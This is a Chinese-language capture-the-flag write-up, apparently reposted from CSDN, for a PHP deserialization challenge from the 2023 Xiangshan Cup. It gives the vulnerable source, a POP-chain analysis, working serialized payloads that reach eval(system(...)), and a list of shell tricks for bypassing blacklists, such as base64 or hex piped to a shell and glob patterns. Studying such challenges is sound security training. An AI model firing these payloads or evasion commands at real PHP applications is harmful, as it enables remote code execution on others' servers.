文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

[wp]2023中山市第三届香山杯 web PHP_unserialize_pro

2023-10-20 14:06

关注

PHP_unserialize_pro

考点:

  1. 反序列化漏洞POP的构造
  2. eval()函数恶意php代码执行
  3. []通配的形式绕过黑名单字母

源代码:

name = 'Wh0 4m I?';        }        public function __destruct(){            if($this->name == 'A_G00d_H4ck3r'){                echo $this->arg;            }        }    }    class G00d{        public $shell;        public $cmd;        public function __invoke(){            $shell = $this->shell;            $cmd = $this->cmd;            if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){                die("U R A BAD GUY");            }            eval($shell($cmd));        }    }    class H4ck3r{        public $func;        public function __toString(){            $function = $this->func;            $function();        }    }    if(isset($_GET['data']))        unserialize($_GET['data']);    else        highlight_file(__FILE__);?>

代码审计:

先找出口函数:为eval() 然后执行eval()函数 就必须触发__invoke()魔术方法,

__invoke():当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

所以我们只要令H4ck3r类里面的$func = new G00d()就可以触发了,然后调用func函数就要触发__toString()魔术方法,

__toString():当一个对象被当作一个字符串时使用

所以我们就要调用Welcome里面的arg令它当成G00d()函数就行  然后就是触发__destruct()

条件就是要销毁一个对象 那就要创建对象 就触发了__construct()魔术方法

POP链:

__construct->__destruct()->__toString()->__invoke() 

代码构造;

arg = new H4ck3r();$m->arg->func = new G00d();echo serialize($m);

Payload:?data=O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:6:"system";s:3:"cmd";s:5:"dir /";}}}

发现f1ag 因为黑名单的限制 所有匹配flag字母都会被禁止 这里就采用通配符[]进行绕过

关于某个字母被ban的绕过方法

1. 反斜线转义 cat fla\g.php

2. 两个单引号做分隔 cat fl''ag.php

3. base64编码绕过 echo Y2F0IGZsYWcucGhw | base64 -d | sh

4. hex编码绕过 echo 63617420666c61672e706870 | xxd -r -p | bash

5. glob通配符 cat f[k-m]ag.php   cat f[l]ag.php

6. ?和*

7. cat f{k..m}ag.php

8. 定义变量做拼接 a=g.php; cat fla$a

9. 内联执行cat `echo 666c61672e706870 | xxd -r -p` 或 cat $(echo 666c61672e706870 | xxd -r -p) 或 echo 666c61672e706870 | xxd -r -p | xargs cat

所以最终paylo:

?data=O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:6:"system";s:3:"cmd";s:22:"more /[b-z]1[@-z][b-z]";}}}

得到falg

来源地址:https://blog.csdn.net/m0_63138919/article/details/133845646

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯